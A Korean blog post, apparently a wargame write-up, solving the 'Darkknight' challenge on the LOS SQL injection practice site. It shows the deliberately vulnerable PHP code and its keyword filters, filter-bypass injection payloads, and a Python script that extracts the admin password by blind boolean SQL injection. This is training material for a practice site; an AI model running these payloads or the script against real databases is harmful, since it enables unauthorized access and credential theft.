vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • digital-forensics
  • forensic artifacts
  • shellbag forensics
  • iconcahce
  • ssd
  • File Execution
  • Artifacts
  • webhacking.kr
  • trim
  • forensic-cheatsheet
  • JavaScript
  • Los
  • sql injection
  • Digital-Forensic
  • Digital Forensic
  • LNK FIile
  • shellbag
  • Windows Artifact
  • Thumbcache

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS -rubiya : Darkknight

2020. 5. 20. 13:38

<코드 분석>

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

no : prob _ . () ' substr ascii = 가 필터링 된다

pw : ' 필터링 된다. 

2번째 문단에서는 admin의 pw를 가져오고 GET['pw']와 비교한다.

즉 admin의 pw를 구해야한다는 뜻. 해보자


<해설>

query 를 확인해보자.

  $query = "select id from prob_darkknight where id='guest' and pw=' ' and no= "; 

no 부분만 잘 활용하면 될거같은데 =이 필터링이니까 부등호로 써보자.

먼저 guest로 로그인해보자.

?no=0 or 1>0 %23

오케이 이런식으로 하면 되겠다.

그러면 먼저 길이를 찾아주자.

?no=0 or id like 0x61646D696E and length(pw)>0%23

length(pw)>___ 를 늘려주면서 Hello admin 이 없어지는 숫자가 길이겠다.

같은 방식으로 각각 문자열을 찾아주면 

?no=0 or id like 0x61646D696E and ord(mid(pw,1,1))>____ %23

___부분에 값을 늘려주면 되겠다.

파이썬 코드로 구현해보자.

import requests,urllib3,urllib
URL="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
PHPSESSID="본인의 PHPSESSID"

for i in range(0,100):
    pay="?no=0 or id like 0x61646D696E and length(pw)>"+str(i)+"%23"
    print ("i is : "+str(i))
    res=requests.post(url=URL+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
    if "Hello admin" not in res.text:
        print("The Length of the PW is : "+str(i))
        len=i-1
        break

pw=""
for i in range(1,9):
    print("working on i : "+str(i))
    for j in range(48,128):
        print("checking : "+chr(j))
        payload="?no=0 or id like 0x61646D696E and ord(mid(pw,"+str(i)+",1))>"+str(j)+"%23"
        res1=requests.post(url=URL+payload,cookies=(dict(PHPSESSID=PHPSESSID)))
        if "Hello admin" not in res1.text:
            pw+=chr(j)
            print ("found the word "+chr(j)+".....\n" )
            print ("current pw is : "+pw)
            break
        elif j==127:
            pw+="_"
            print("ERROR.....\n")
            break
print("final pw is : "+pw)

final pw is : 0b70ea1f

 

Clear!

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Siren  (0) 2020.05.21
LOS -rubiya : Cerberus  (0) 2020.05.21
LOS -rubiya : Kraken  (0) 2020.05.20
LOS -rubiya : Mummy  (0) 2020.05.18
LOS -rubiya : Nessie  (0) 2020.05.15
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Siren
    • LOS -rubiya : Cerberus
    • LOS -rubiya : Kraken
    • LOS -rubiya : Mummy
    vared
    vared

    티스토리툴바